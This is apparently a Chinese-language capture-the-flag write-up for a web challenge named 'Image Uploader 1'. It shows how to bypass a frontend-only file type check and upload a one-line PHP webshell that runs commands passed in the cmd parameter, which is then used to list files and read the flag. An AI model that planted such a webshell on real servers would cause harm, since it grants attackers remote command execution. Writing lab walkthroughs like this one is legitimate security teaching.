Try   HackMD

[CH] Image Uploader 1

tags: Writeup Web Chinese

FlyDragon

Step.1

http://lotuxctf.com:20008

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

這是個圖片上傳網站,可以上傳圖片

上傳 test.png ,得到以下訊息

Uploaded at : uploads/64fd8aff877ba_test.png

訪問這個路徑可以看到我們上傳的圖片

本題上傳一個 php webshell 即可取得 flag

Step.2

查看網頁原始碼,發現只要修改前端程式碼就能上傳任意檔案

<input type="file" name="image" accept="image/*" required="">

上傳一個 shell.php

<?php system($_GET["cmd"]); ?>

訪問對應路徑並傳遞參數 ?cmd=ls 查看當前路徑還有什麼檔案

發現有 flag.txt ,取得 flag